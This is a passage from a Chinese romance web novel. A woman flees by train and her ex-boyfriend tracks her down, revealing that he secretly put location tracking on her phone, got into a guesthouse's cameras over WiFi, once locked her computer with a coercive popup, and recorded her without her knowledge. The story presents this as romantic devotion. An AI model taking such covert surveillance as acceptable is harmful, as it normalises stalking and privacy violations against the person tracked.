李今晏噎住,不知道该怎么回,现代社会就是这样,能赚钱在某种程度上你就是靠山,金钱就是权力,就是一切。但她又改口:“不完全吧,能赚钱只能说明你在某一方面展现出了优越的能力,更多的还是要看你解决问题的能力。”
李今晏用胳膊肘抵抵他,说:“嘿,你妈妈次仁就是你的山呀,你看她又开客栈又给人治病赚钱,还要照顾你上学吃饭。”
噢~某种程度上还是她的,还是好多驴友的摆渡人。
‘次仁’‘次仁’……
李今晏默念这个名字,又忽然想起次仁在藏语里是长寿的意思,藏族里一般多用于男性,那老板娘是……
脑子灵光一闪。
她那会儿就知道这期该以谁为主角了。
“哦~懂了。”朗杰偏过头去又问:“那你能解决问题吗?”
“我……”
李今晏突觉不对,眯起眼:“你刨根问底的,想问什么?”
朗杰忽然捂着嘴偷笑起来:“这是这周的作文题目,我还没写呢。”
李今晏咬牙:“……我锤你信不信??”
小屁孩儿!李今晏现在想起来还是很气,敢情朗杰是把她当素材提取机了……
不过‘雪线以上再见山’这个点倒是很好,她可以再思索一下凑一期文章。
李今晏走到人工窗口重新候补,但那时只有到贵阳的了,她想了想还是买下。
重新安检完上来,李今晏买了些洗漱用品和小零食,回到座位时杨亚沙却不在,她只得一个人坐着。
人脑放空的时候,潜意识就会冒出来打招呼。
不知道陈梓川现在在干嘛呢?
他一定很生气吧……
他一定很生气。
次仁让她快走,一定是因为陈梓川发现她是个大骗子,然后生气追来。
李今晏咬着唇,心里五味杂陈。
回来的杨亚沙打断了她的神游:“姐姐买好了吗?”
他声音里上扬着喜悦,李今晏转头看到他双手端着一碗盒饭:“嗯,但我只候补到了去贵阳的,凯里我去不了啦,只能有缘再见。”
“啊……”杨亚沙端着饭有些失落:“没事没事,贵阳也还是要去看看的,大城市嘛。”
他又把盒饭认真递给她,有些不好意思:“给你买的,别嫌弃。”
李今晏有些诧异,忽然收到陌生人的善意让她心底一暖。
“啊不用不用,你自己吃吧
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。”她不好意思,慌忙摆手:“你刚那碗泡面没吃饱吧?这个留给你吃,我中午吃了特别多,现在肚子还鼓鼓的呢。”
杨亚沙依然端着,声音低落:“专门给你买的……”
李今晏:“……”
看他这撇着嘴的小表情,怎么还委屈上了?
李今晏尬笑着,还是拒绝:“姐姐最近都没什么胃口,真的不想吃,谢谢你的好心。你多吃点才有力气继续表演呀。”
李今晏尽力对他扯起一个微笑,杨亚沙实在没办法才不得不答应下来,自己默默掀开盖子猛猛炫。
后来两人交换了名字,就这么有一搭没一搭的聊着,聊了酸汤鱼的热辣,聊了银饰叮咚的苗侗血脉,聊了万家灯火的西江夜色,还聊了深山云雾中的生活史诗。
最后困极了打哈欠时,杨亚沙眼里便浮起一层水雾,可那点亮色仍在,像是雾里的渔火,朦朦胧胧地晃。
时间终于来到夜里十一点,车站冷清了不少,零星旅客散落在不锈钢长椅上,姿态各异。
有人裹着民族风扎染披肩蜷缩而眠,头枕着鼓囊囊的行李包,像一只暂时栖息的鸟;有人专注地盯着手机屏幕,荧光映亮一张张或疲惫、或麻木、或带着归家期冀的脸。
李今晏拍醒早已卧倒睡着的杨亚沙:“嘿,准备上车啦!”
杨亚沙迷糊着醒来,擦了擦嘴边的口水:“嗯?今晏姐……几点了?”
李今晏背起登山包,指指前面稀稀拉拉开始排队的人:“十一点过啦,马上就要检票了。”
普速列车提前15-20分钟检票是常态,这趟车又是从昆明开往沪市的长途绿皮,由于线路长、客流大,实际操作中往往提前更多。
杨亚沙背好布包拉着蛇皮袋排在她旁边:“今晏姐,我的硬座在3车厢,你在哪里呀?”
李今晏掏出打印好的蓝色纸质票:“我是硬卧,在12车。”
本来她也想硬座的,但无奈自己的身体需要好好休息。
“嗷……”杨亚沙沮丧:“隔得太远了。”
李今晏哈哈一笑:“你还想找我聊啊,我可是口水都说干了呀。而且你看你,困得眼睛都睁不开了,早点休息吧。”
李今晏那排效率更高,她往前走了好几步,跟杨亚沙渐渐拉开差距。杨亚沙站出队伍来,伸出头向她挥手:“那我们有缘再见呀!”
李今晏检票通过,回过身来,隔着人群也招手:“有缘再见!”
旅途中遇见的人就是这样,他们有时像沿途偶然掠过车窗的飞鸟,一瞬的剪影便印在记忆的天幕上。有时又像一颗石子投入心湖,涟漪扩散,改变了你对某地、某段旅程甚至你对自我的感知。
她要去下一城了,要去遇见新的人。
可走后的李今晏没发现,背后的杨亚沙嘴角渐渐垮下来抿成直线,脸上的清澈被阴沉的、与年龄外貌极不相符的冷漠和戾气取代。
“喂。”
杨亚沙接起电话:“嗯……是……贵阳……没上钩……不,家里有事。”
他阴鸷地看了眼那抹亮黄背影,在手机备忘录上默默删掉一个代号:
马尾黄。
15. 老婆
跟着人流下了站台,那方方正正的车厢,在流线型高速列车时代显得笨拙而固执,像一排被遗落在现代铁轨上装着旧时光的绿色方盒子,李今晏却觉得很亲切。
检查完身份证,她又看了几眼车身上【昆明(箭头)沪市松江】几个大字,最后还是偏过头,大跨步上了登车梯。
上了火车的李今晏莫名兴奋起来,因为她又要开辟新地图,去到一个全新城市,开启一段全新旅程啦!
12车还亮着灯,车厢嘈杂过道狭窄,李今晏缩着身子走走停停,终于找到8号下铺。
有个阿姨踩在中铺边的楼梯上,艰难的举着个行李箱想塞到顶部的置物架上,脸都涨红了。
李今晏看她摇摇欲坠的样子,三两下脱掉鞋子爬上另一边去,高高斜着身体,拖着行李箱底部帮她推上去了。
“啊……”阿姨转头来擦了把汗,笑着说:“谢谢小姑娘,这设计的太高太窄了……一点都不合理。”
李今晏咧着嘴:“小事儿阿姨!明天你再叫我,我轻轻那么一个伸手~就帮你拿下来了。”
“哈哈哈。”阿姨被她比划的小动作逗笑:“谢谢你啊乖妹妹,我明天早上八点二十到贵阳。”
李今晏眼睛一亮,挂在梯上一拍大腿:“我也是哎!太有缘了吧!”
阿姨看起来有四十多了,穿着一身质地舒适的浅绿棉麻衣,脸庞线条圆润流畅,皮肤虽已不再紧致,带着些许岁月赋予的松弛感,却依然干净如玉。
“哇,你也是。”阿姨道:“可能同一站的都安排在一起了吧。”
路过的人一会摩擦过李今晏的衣服,一会儿背包又撞她一下,李今晏嗯啊点头着跳下来,问:“阿姨你是哪个铺?”
她回过头指指床:“我就是这个,8号中铺。”
“要不我跟你换吧,你睡下铺?”
中铺不好爬,又比下铺窄,她以前不知道多少次撞到过上铺的床底。
眼前的人有些不好意思,因为晚上可能会起夜,中铺也确实不好上:“不麻烦的吧?我听说下铺还要多加钱呢。”
“害,没事儿!”李今晏摆摆手:“我就喜欢中铺,能趴在铺上看窗外风景,下铺啥也看不见。”
“那真是太谢谢你啦。”阿姨笑,看着李今晏又背着包,拿着洗漱用品往过道走了,不过她没戳穿这善良姑娘。
大半夜的,窗外哪有什么风景可看?
她转头凑过那车窗去,旅客们已经陆陆续续上的差不多了,就几个游客还在拖着行李箱狂奔。
阿姨借着光看了看表,已经11点36了,还有两分钟就会发车。
这时,眼前的光忽然一暗又一亮,窗外又走过一人,她抬头去看,那高大男人背上背了个绿色登山包,步伐并不快。
还真是不慌,她心道。
·
等李今晏洗漱完回来,7、8号已经热闹起来了。
上铺都没人,7号下铺来了个寸头糙汉,正和7号中铺的肥胖大叔嗨聊。
料峭初春,糙汉嫌火车上闷热,脱得只剩一件黑色工字背心,他手里拿着一个与形象极其不符的毛绒小比熊:“我一个男人,怎么包上不能挂小狗了?那你说说,你挂的什么?”
中铺的胖大叔勾着身子坐着,撩了撩极具‘艺术’气质的过肩长发,笑道:“我们真男人不需要这些……哎,你看这姑娘,用的灰蓝破包,人家什么都不挂呢。”
阿姨就这么笑眯眯看着这两人说。
李今晏:“……”
这是在说她的?破包?
李今晏吞了吞口水,坐在过道边的座位上加入战斗:“我这才不是破包呢,我这包看着不大,但是很结实的。”
她把包横过来,给他们看:“你们瞧瞧这质量,这走线,那在我们流浪界也是杠杠的呀。而且我挂玩偶的,我以前的包上挂了只针织兔……给你们看。”
糙汉朝着友军嘿嘿一笑:“我也觉得,这么可爱的妹子,我遇到的没一个不挂的。”
李今晏从手机里翻出相册来,又站起身弯腰递给他们。
过道上有人要过,李今晏把手机给了大叔,直起身。
大叔凑近看了眼,给她竖了个大拇指:“哟,你这兔子还挺花里胡哨。”
那针织的废兔子看着有一只手那么长,全身上下,从竖长耳朵到身体再到两只鞋,分别都是不同的颜色,还有一个橙色的可爱披风。
大叔:“你们小女娃娃家,就喜欢这些噶。”
李今晏笑:“反正我喜欢。”
大叔又问:“为啥挂兔子?你属兔?”
……她当然不属兔。
某人属兔……
李今晏顿了顿:“喜欢呗,哪有那么多为什么。”
阿姨也搭了句腔:“兔兔多可爱。”
糙汉:“就是啊,女生都喜欢小兔兔,是吧。”他朝着李今晏挑眉。
李今晏笑着挑回去:“别给我们贴标签。”
她又把手机接过来,手机壳忽然变得黏黏的,李今晏贴了贴拇指和中指,这是……油?
……这大叔啃了鸡爪上来的吗?!
李今晏瞥了眼他那大肚腩,恶心地掏出纸擦了擦手,听到糙汉问:“都是到凯里的吗?”
大叔摇头:“我贵阳,在你前两站。”
糙汉:“去凯里侗寨玩儿呀,明天姻缘节,多热闹。”
阿姨笑:“你是要去干嘛?”
糙汉笑得一脸邪魅:“还能干嘛?看能不能讨个老婆呗。”
大叔“呵”了声。
姻缘节?李今晏忽然想起杨亚沙也是去凯里,难道他这么小也要参加吗?
正想着,众人的身体都不约而同晃了下,火车终于开了。
周围不知道谁吹了一声长长的口哨,大叔附和了两声,转而问李今晏:“咋样,妹子有没有对象?要不也去参加一下?”
他声音戏谑,李今晏插着腰拍拍胸脯:“谢邀啊,我有对象的。”
出门在外嘛,身份是自己给的。
糙汉叹口气:“可惜喽……”
又聊了没多久,火车很快就熄灯了,列车员提着电筒来扫视,像中学宿管。
黑暗中视线不好,嗅觉倒是灵敏不少,刚爬上中铺的李今晏闻到一股脚臭味。
她挣扎了两下,打开手机电筒直接伸手过去对准大叔:“叔,还没睡吧?”
大叔还在嘻嘻哈哈刷着卡顿的短视频,瞬间被刺的猛猛挡眼,偏头瞪她:“你别晃!咋啦!”
李今晏捏着鼻子阴阳怪气:“你能盖上被子吗?最好是把你的脚盖住。还有啊……手机别外放,大家都要睡觉呢。”
……
大叔啧了声,在那膈人逼仄的硬卧上艰难翻身,最后还是照做。
李今晏从包里拿出耳塞,她的经验告诉她,这位铺友看起来是一定会打呼的类型!她一定要在他之前睡着!
哎,又想陈梓川了。
陈梓川睡觉除了贴得太紧,其他一切都好。到了冬天,还是个小暖炉。
李今晏塞上耳塞,车厢内果然安静了许多,鬼使神差的,她默默翻出陈梓川的睡颜照。
荧光就这么在黑暗中映亮李今晏的脸,她安静的看着陈梓川,相册里的他侧卧着,半张脸埋进蓬松的枕头里,柔软的头发有几缕调皮地翘起,贴在光洁的额角上,比平日里柔和不少。
绿皮火车咔嗒咔嗒穿行在乌蒙山的腹地,如同一条笨拙的绿蟒,喘息着在群山的皱褶间蜿蜒前行。
慢慢的,就在这不断的摇摇晃晃中,李今晏抱着手机睡着了。
可15车那边还不宁静。
陈梓川当然上了火车,赶在最后一分钟。
他现在正一车厢一车厢一个床位一个床位的找李今晏。
有两个小姑娘起来上厕所猛然撞上他,其中一个抵抵另一个,抬头用气音说:“我草,大大大大帅哥。”
在这昏昏欲睡的混沌里,陈梓川的顶级样貌高挑身材尽管是在黑暗里也是令人无法忽视的醒目存在,他好似一道锐利的光,猝不及防劈开车厢的沉闷。
朋友看呆了眼,呼吸明显停滞了下,脸颊以肉眼可见的速度飞起两朵红云,一直蔓延到耳根。
她突然又没有尿意了。
两人假装咕咕哝哝地聊天,实则默默尾随吸引注意。
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后来她俩发现,大帅哥好像是在找什么人,而且速度极快。他总是在每个铺位前站不到半分钟,从下到上扫一遍就换。
后来吸引了不少人的注意,在14车的时候招来了列车员。
列车员三十来岁,身量不高,骨架匀实,深蓝色的铁路制服被她穿得一丝不苟,她奇怪道:“这位先生?你不去自己的铺位在这里干嘛?”
陈梓川站定,声音沉静:“我在找我老婆。”
后边两个小姑娘肩膀垮下来,一脸失望,末了还不忘加一句,他音色真好听。
列车员疑惑:“?你老婆?……那你给她打电话呀,你们不是一起上来的?”
就这么一个车厢一个车厢的看?得看到什么时候?
陈梓川面不改色:“她跟我闹脾气了,不接电话。”
窗外白光闪过,陈梓川脸上表情真诚,列车员也是恋家的,软下来小声说:“给我你老婆的身份证后六位和名字,我在终端机上看看。”
“122659,李今晏。”梓川轻轻出声:“我老婆叫李今晏。”
“李……哪个今?”
“今天的今,海晏河清的晏。”
不过一分钟,列车员抬起头:
“12车8号下铺。”
看到他眼里闪过的一丝生气,她又提醒:“不要打扰到别人哈。”
“谢谢您。”陈梓川微微颔首。
再次穿过两节车厢,陈梓川终于来到12车8号。
7,8号只有7号中铺还亮着光,有个男人捂着嘴笑得颤抖。
床铺下摆着的鞋,除了一双布鞋,就是一双灰橘色的登山靴。
果然是李今晏!
呵,裹得倒是严实,8号下铺的人整个头整个身子都捂在被子里,也不怕闷死。
陈梓川弯下身坐在床铺角落,还在想到底要怎么审问她。是直接把她拉起来让她吓死呢?还是明天早上等她睡醒了再说?
因为他记得,她有不小的起床气……
“咣当——咣当——”火车的主旋律比白天更加清晰沉重。车轮碾过铁轨接缝处的撞击声,在夜里被无限放大。
陈梓川就这么坐着平静了几分钟,但胸中那股气还是下不去,反正现在上了全封闭火车,她逃不掉。
陈梓川还纠结着,背上的登山包好像不小心压住了那人的腿,她动了动,挪远了。
还挪??
这下陈梓川彻底不纠结了!他皱眉偏过身,连被带人抓住双臂,直接给人端起来了。
但看清人脸后,真正被吓死的是陈梓川!!
因为那人根本不是李今晏!!!
被子滑落,阿姨迷迷糊糊睁开眼:“你谁啊?”
四目相对,全是尴尬。
空气中静了一瞬。
陈梓川慌忙松手站起身,不想一不小心“咚”一声,头又撞到顶部,疼得他直抽凉气。
中铺的人好像被吵到,嘟囔着几句翻了身:“嗯……”
陈梓川如遭雷劈,那哼唧声,不是李今晏是谁???!!
他捂着头,憋着气轻声对下铺的人说:“不好意思,抽风了。”
唉算了,阿姨摆摆手,又扯着被子躺下去了。
目光渐渐又上移到中铺睡得正香的人身上,陈梓川此刻看李今晏的眼神,就像猎豹看着猎物。
他站到床铺中间靠近小桌板的地方,弯下腰去盯李今晏。
她侧身朝外躺着,半边脸颊深深陷在雪白且略硬的枕头上,压得脸颊的软肉微微嘟起,黑暗中反而白的发光。
枕头边缘,几缕柔软的黑发调皮地散落,黏在她光洁的额角和微湿的鬓边,随着她均匀的呼吸,几根最细的发丝极其轻微地起伏着。
她鼻子小巧玲珑,鼻梁不高,但线条很秀气,鼻翼随着呼吸均匀翕张,像两片安静栖息的花瓣。
但最引人注目的,还是她的唇。唇形饱满,嘴角天然微微上翘,唇瓣是柔嫩的粉色,微微张开露出一点洁白的贝齿边缘。
每一次轻柔的呼吸,温热气息就从那微启的唇间逸出。
靠……想亲……
陈梓川一下就没了脾气。
16. 凯里
慢慢俯身靠近,陈梓川屏住呼吸,像怕惊扰一个易碎的梦,身体以厘米为单位的精度,极其缓慢地向下沉落。
鼻尖几乎要相触,唇与唇之间只隔着一层薄得几乎不存在的空气,温热而湿润。李今晏的气息如此清晰,带着睡眠的暖意,像无声的邀请。
陈梓川全身的感官都聚焦在那一点,心脏在胸腔里疯狂擂动,仿佛下一秒就要挣脱束缚。
但火车忽然一个踉跄,李今晏的唇就这么偏了。
陈梓川想再去亲,她又忽然翻了个身,面对隔板去了。
他微叹口气。
冷静两秒,陈梓川伸出食指和拇指,缓缓朝着李今晏的脸移动。
但脑子又突然蹦出她以前摸着脸,气鼓鼓地样子:“不准掐!也不准揉!越揉脸越大!”
陈梓川收回拇指,但还是忍不住戳了戳那脸颊,嘴角止不住上扬。
草,真tm可爱。
……
冷不丁的,陈梓川感觉背后也有人在戳他。
他猛地转头,铺友大叔取下了耳机,微张着嘴:
“你变态啊?”
其实他已经看陈梓川好两分钟了,刚才他俯身过去的时候他就“噌”的一下坐起来。还好没亲到,不然他真的要举报他性骚扰。
虽然隔着一段距离,但陈梓川刚才看到一个男性生物躺在李今晏旁边就极度不爽,他取出手机开始打字,不一会就举起来给他看。
大叔眯起眼伸出头,备忘录上写着:
这是我老婆。给你500,交换床位,你去17车5号下铺。
给他500???
还是17车?那好像是软卧吧?那他这把赚飞了呀。
大叔疯狂心动,但冷静下来又怕他真的是性骚扰。不过他只用了五秒,就相信了李今晏和这人认识。
因为他微微偏头,果然就着暗光看到那登山包上挂着的针织兔,五颜六色的,可不就是小姑娘刚才给他看的吗?
可她男人怎么现在才来??
哎呀不管了,大叔动了动嘴,死装一番:“17车多远呐,而且这都12点半了,到贵阳也就剩8小时……我唉,懒得过去。”
陈梓川抬起下巴:“2000,闭嘴,滚。”
“你……”
大叔把剩下的话吞进去了,给他比了个ok的手势,麻溜的从中铺爬下来,瞬间从油腻大叔变成了灵活的胖子。
他走后,陈梓川嫌脏,看上铺没人,把被子抱下来垫上,终于是收拾好躺了上去。但他偏过头,只能看见李今晏的后脑勺。
陈梓川又坐起来,轻轻伸出半个身子,努力去拉她的肩膀。
第一次扯的很轻,李今晏没动,第二下重了些,重到李今晏直接翻了个身,变成平躺。
陈梓川大半个身体悬在空中,不敢动。静了两秒,身下的人依然呼吸匀称,他忍不住轻啄了下她的唇,才又慢慢退回来,重新躺下。
躺下后的他发现李今晏的右手掉在外面,手腕纤细,手指自然地微蜷着。本来想给她塞到被窝里的,但陈梓川心下一动,改了主意。
他缓缓伸出左手,慢慢去够李今晏。
火车规律的颠簸让那只垂落的手也随之轻轻晃动,陈梓川的食指终于勾到她的。
两人就这样牵着手,无人知晓……
·
李今晏一直觉得,绿皮火车的列车员就是宿管,早上快到站了还叫你起床……
没错,李今晏是直接睡到被列车员叫醒的。
“8号中铺,叫你两回了噢,贵阳站要到了。”列车员看了眼那被窗外阳光晃到皱眉的姑娘,又看了眼旁边的陈梓川,朝他点了下头:“你也该起来了,把你老婆看好。”
还趴着的陈梓川笑:“没问题。”
李今晏脑子混沌着,费劲睁开眼,车厢内很嘈杂。
有小推车经过时金属碰撞的叮当声,有婴孩儿的哭啼声,更多的是拉包收拾行李的声音。
李今晏垂死病中惊坐起,几点了???
可刚坐起的李今晏惊讶的发现,跟她并排的铺友从油腻大叔变成了帅气逼人的陈梓川。
陈梓川???
是她还没睡醒吗?梦里的东西怎么会出现在现实??怎么会是陈梓川??
李今晏揉了揉眼睛,那人穿了件深蓝色冲锋衣,纯黑冲动裤,居然趴在阳光下朝她眨眼。
活的???
李今晏不敢呼吸了。
这时回来拿完耳机的大叔顶着黑眼圈路过,斜瞪了眼她的鸡窝头,朝着过道上阴阳怪气:“现在的小夫妻至于吗?就8个多小时的硬卧都要并排睡?”
李今晏怔住,什么小夫妻?
车厢里离得近的人都不约而同笑起来,还有小孩儿专门跑过来吃瓜,左看看右看看,最后被家长拉走了。
糙汉哈哈大笑:“妹子,昨天我还纳闷,你一个小姑娘就敢到处流浪,感情是你老公在啊。”
什么老公啊???
救命……
李今晏尴尬死了,陈梓川到底干了什么!她死咬着唇,无视对面的视线。
阿姨帮她说话:“小夫妻怎么了?一起旅游多快乐,说明人家感情好啊。”
昨天她脑袋蒙蒙的睡下去了,没在意,早上起来还是觉得有些后怕,听这小伙子解释才知道,人家是两口子,认错人了。
有人笑着说:“这也太黏人了,大半夜把这哥们儿赶到17车去了。”
大叔留下委屈的背影……
李今晏的脸已经红到能滴血了,她很混乱,想去问陈梓川,又不敢看陈梓川,不敢看所有人。
她把头发弄得更乱,乱得能挡住脸,摸摸索索下了铺。什么乱七八糟的先放一边,她心里的第一想法还是,跑!
列车员来喊了最后一趟:“贵阳站还有十分钟啦,要下车的准备好啊。”
李今晏专门大声说:“咳咳咳贵阳是吧,贵阳要到了,阿姨……我帮你拿行李箱,咱们一起下车呀!”
她要在贵阳下了,陈梓川可一定要听懂啊!
阿姨站起身:“没事儿,你老公帮我拿下来了。”
“噗。”
李今晏要吐血了。
陈梓川嘴角微勾。
趁着那人下铺,李今晏拉着包和外套一溜烟跑了……
6号下铺有个农名工说:“年轻人嘛,都这样,恨不得天天距离都是负的……呐,这小桌板的距离都堪比地球到月球。”
陈梓川的眼神扫过去,锋利到他自动闭了嘴。
旁边妇女掐他腰:“哎唷,净说些浑话。”
李今晏差点被要下车的人群挤成肉饼,她一口气冲到6车,抓到一个列车员:
“我我我,我要补票!”
男列车员把她扶起来:“补到哪里?”
李今晏喘了口气:“后面还有到哪里的??”
“贵定,凯里,施秉,镇远……”
“凯里凯里!”李今晏打断他:“硬座就行。”
“好,身份证……”
……
补完票的时候火车已经停了,李今晏跟着人流出去,但没走远,偷摸摸躲在站台的宣传栏后面。
贵阳是个大站,火车将近要停17分钟。她左顾右盼,等一批批人群下了又上得差不多了,她都还藏在后面。
还有最后一分钟,李今晏确定没看到陈梓川之后,长呼了口气,再次登上火车。
可没想到!
陈梓川竟然就在4车的过道上站着逮她!!!
手机上的定位红点一动不动,陈梓川又不傻,怎么会想不到她的伎俩?
李今晏深吸了口气,视线交错的瞬间像只受惊的兔子,转身就要跑。
“嘣!”
检票员重重关上门:“开车了啊,去坐好。”
啊啊啊!
李今晏气得跺了跺脚。
最后的她长叹口气,还是不得不认命。
那人就这么抱着手靠在过道边,李今晏埋着头像个鸵鸟一样走过他。
陈梓川看她耷拉着耳朵,小脸皱巴巴的,和那登山包一样。
他无奈摇摇头笑了笑,跟在后面。
李今晏掏出洗漱用品,生无可恋的刷牙,陈梓川照做。
洗完脸梳完头,随便找了个没人的座位,两人就这么面对面坐着。
窗外移过灌满春水的梯田,移过淌着碧绿溪水的山涧,甚至移过一些青瓦木屋,俩人都没说一句话。
车厢内人声嘈杂,拥挤着各种气味与声响,却仿佛都避开了陈梓川。他的头微微后仰,颈项拉出一条弧线。双臂环抱胸前,嘴角挂着若有似无的一丝笑意,阳光跃上他染着金边的睫毛尖。
李今晏心虚,只能先发制人:“说吧,你怎么跟踪我的?”
陈梓川晃了晃手机:“你手机里,我安了定位。”
一副理所当然的样子。
“??”李今晏气地咬牙,瞪大了眼,她两手撑上小桌板:“你……那你怎么能预想到我要来昆明呢?哦……次仁说你黑了她监控系统。”
陈梓川点头:“她家的监控系统并不难,WIFI扫描进去就很快了,然后再捕捉到你的口型就够了。”
那她的车次信息,也是他黑了铁路局的网吗?
李今晏:“你这是犯法你知不知道?”
陈梓川坐起身,两人的距离瞬间缩短:“如果是,你要举报我吗?”
“我……”李今晏嘴硬:“我会!我可是守法好公民!”
陈梓川笑:“李今晏,你不会。”他说得很肯定。
李今晏:“你能不能拿你的专业干点儿正事,老去黑人系统做什么呀?以前就爱干这些……”
大学那会儿两人闹矛盾的时候,李今晏负气把他删了。陈梓川发现后就把她电脑黑了,装上小弹窗,只要打开就会弹出来问题:‘喜不喜欢陈梓川?’
根本没有退出键,选择喜欢,弹窗会一直重复,要选择非常非常喜欢,才会弹下一个问题。
‘那你加回陈梓川了吗?’
李今晏狂点:加了!加了!加了!
弹窗又问:真的加了吗?
……
后来她才知道,那只是最简单的一种
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编程。李今晏当时还忙着赶报告呢,气得快把电脑砸了。
“你是定位到我上了这趟火车??”
李今晏还是疑惑。
陈梓川摇头,全盘托出:“直到11点你的定位才动了动,统共就那么几趟车了,而且你这个黄色冲锋衣很亮眼。你的铺位,是列车员跟我说的。”
11点过的时候瞥到一抹熟悉的亮黄色,但很快检完票,她又重新没入人海。
李今晏低头看了看自己:“……”
冲锋衣选亮色是因为在户外要是出事了,色差大容易被识别,她顺便选了这个黄色,觉得好看。没想到户外没派上用场,倒是先被他找到了……
李今晏又坐起身,看过道旁的大叔还在刷手机,悄悄问:“那那个……老~是什么意思?你昨晚干了什么?”
陈梓川笑:“老嗯是什么?”
嘶,怎么这么欠揍。李今晏:“你别逼我揍你啊。”
“这么好奇啊?”
“你这有损我名誉知不知道!”
陈梓川装无辜:“可你以前天天喊呢,我可从来没说过什么。”
“你……”李今晏绷着脸否认:“我没喊过!”
陈梓川又拿出手机,随便划拉几下,录音逐渐外放:“陈梓川,亲亲~”
李今晏全身气血上涌,她慌忙去夺他的手机。
录音还在继续:“陈梓川……陈梓川你理我呀,陈梓川!我和学长真没什么!……宝贝,我就跟他参加了一个活动……”
当时实在没法的李今晏最后使出了杀手锏:“老公……你看看我嘛。”
……
“可恶啊!”李今晏没抢到,只得愤愤握拳:“你变态啊!”
她慌忙转头,过道旁的男人还在专注刷小视频,她这才放下心来。
那是刚在一起没多久的时候,陈梓川吃醋她和学生会的学长走得太近,她还在努力哄人呢。
没想到他居然背着她录下来了!
静了两秒,陈梓川忽然软下来,看着她的眼睛说:“李今晏,你就当我是变态吧……没有这些东西,五年要怎么过?”
“……”
李今晏别开眼,转移话题:“那你,怎么突然要喊这个了?你以前什么称呼都不给我,就天天‘李今晏李今晏’的叫。”
人家关斯扬谈恋爱,什么‘宝贝’‘honey’‘bb’‘亲爱的’全喊了个遍,就陈梓川,无趣死了。
陈梓川:“因为你本来就是。”我老婆。
听到这话的李今晏更无语了,这人现在的脸皮看来是有长城城墙那么厚……
“你是跟大叔换了铺吗?你不会给他钱了吧??”李今晏又问。
陈梓川比了个二。
“???”李今晏瞪大了眼:“两百???”
“哎哟,硬卧才一百五十多,你买的应该是软卧吧?直接跟他换他都不亏。”
陈梓川看她那副捶胸顿足肉痛的样子,没吭声。
李今晏继续数落他:“你还真是败……败……”
好像意识到了什么似的,后面败不出来了……
陈梓川抬眼:
“败什么?”
车窗外,低矮丘陵的梯田式茶园连绵起伏,采茶人已开始劳作,深绿色茶垄间点缀着浅色碎花布头巾,竹篓在腰间轻晃。
李今晏看着窗外的小人,嗫嚅道:“败,拜你所赐……”
陈梓川不打算放过她:“败什么?”
攻防就此转换。
李今晏不想说‘败家’,她眼神闪躲:“败给你了,行了吗?根本逃不掉。”
陈梓川指指手机:“定位系统是在客栈的时候安的,你想拆随时可以拆。”
李今晏不吭声,眼前骤然暗下来,火车一头扎进隧道,进洞了。
陈梓川就这么定定看着她:“我不知道你为什么要跑,你不想说就不说,但是李今晏……你喜欢我。”
她心底重重一沉,声音越来越小:“别自作多情了。”
李今晏看着他把登山包上的针织兔取下来,指着一只耳朵,借着暗光说:“这是你名字的缩写,LJY。”
那是她专门让人绣上去的,细长耳朵两侧微微卷曲,要扒开一点才能看清上面的字。
李今晏慢慢攥紧手。
“那这呢?”陈梓川给她看另一只耳朵,上面用红色针线绣着CZC三个字母。
“李今晏,你还是喜欢我,不然大学买的兔子不会挂到现在,还重新绣上了名字。”
李今晏沉默了一会儿。
“兔子是以前买的,买来就挂到现在,名字……不重要。”隧道里的声音沉闷浑浊,她低着头叹了口气:“这世界与日俱进,没有谁会一直喜欢谁,是你想错了。”
陈梓川动了动唇:“这世界不是与日俱进,是与时俱进。”
李今晏抬头。
这时前方隧道的出口处,渐渐出现了微小的白色光点,那光点迅速膨胀,终于汹涌地漫了进来。
火车出洞的那刻天光大亮,她听到他说:
“可我对你的喜欢,未挪一步。”
17. 姻缘
出洞后的火车噪音小了许多,李今晏的心却久久不能平静。
一股滚烫的热流猛地从心口炸开,迅速蔓延至四肢百骸。
车厢内的一切仿佛被按下了暂停键,背景瞬间褪色虚化。李今晏的世界只剩下陈梓川灼灼的目光和那句清晰无比的话。
这世界不是与日俱进,是与时俱进,可我对你的喜欢,未挪一步。
可我对你的喜欢,未挪一步……
她胸口不断起伏着,眼里闪着藏不住的泪光。
他声音坚定。继续道:“李今晏,对你,我这辈子都不会放手。”
旁边瘫着的大叔听到这儿居然嗤笑了一声,眼睛还盯着抖音上跳舞的美女:“一个男人,怎么能对女人卑躬屈膝?”
话里满是嘲讽,李今晏来了气,却被陈梓川拉住,他认真的看着眼前的人说:“你知道为什么,以前我只叫你李今晏吗?”
李今晏又坐下了:“?”
陈梓川眼睛亮亮的:“因为那些乱七八糟的称呼别人都可以喊,可‘李今晏’只是你。”
“……只是我的全世界。”
名字大概是最短的情话吧,他说:“我要确认我的全世界,一遍又一遍。”
李今晏死死攥紧衣服,真的憋不住。
陈梓川这样突如其来,大量又郑重的告白让她震惊又心疼,以前的他,很少会说这些话。
脑子一热,李今晏吸吸鼻子,长呼了口气说:“其实五年前的寒假……我回过沪市。”
陈梓川愣住:“什么意思?”
李今晏:“字面意思。”
回了沪市,不可能不来见他的,陈梓川不敢轻举妄动,轻声问:“然后呢?”
“然后……又回了昆明。”
从此再无联系。
陈梓川没说话,靠着小桌板的手臂冰凉,他在等李今晏的下文。
可李今晏转而问:“你膝盖是打篮球受伤的?”
看来她还是不想说,陈梓川沉默了两秒,说:“是。”
“撞你那人,为什么对你有这么大的恶意?仅仅是因为比赛的好胜心重吗?”
陈梓川看着她说:“撞我那人,是席舟。”
“席舟?席舟……”李今晏来回默念这个名字,怎么有些耳熟。
啊……她一拍大腿,想起来了!那是一直跟他们不对付的,一个电气系的学长。
大二刚开学的时候,李今晏热情满满地去做了迎新志愿者,好巧不巧和这个狭隘又偷懒的人分到一组。席舟领下收发资料的轻活,李今晏领下帮新生搬行李的重活。
要是没发生什么也就算了,但迎新本就热闹又危险,有个新生直接中暑晕了过去。李今晏觉得应该先送校医院,迂腐的席舟觉得要走流程,先通报批准。
两人就这样起了争执,朋友赶忙背上新生跑了,李今晏留下和席舟吵架,最后还差点打起来,在校园墙上挂了一周。
席舟被骂了一周,还被辅导员和院长教育了一通,自然是对收获赞誉的李今晏怀恨在心。
他想找李今晏的麻烦,但害怕陈梓川。
那半年他一直暗戳戳的耍些小动作,李今晏也就睁一只眼闭一只眼。她原本以为,他们会就这样小打小闹直至停息。
没想到……还是出事了吗?
陈梓川:“我们国赛获奖后,他终于忍不住了。”
李今晏:“他参加了吗?”
陈梓川点头:“参加了,没获奖。”
李今晏生气:“他该的呀!”
她又皱着眉问:“那后来呢?他恶意撞你,有没有什么惩罚措施?”
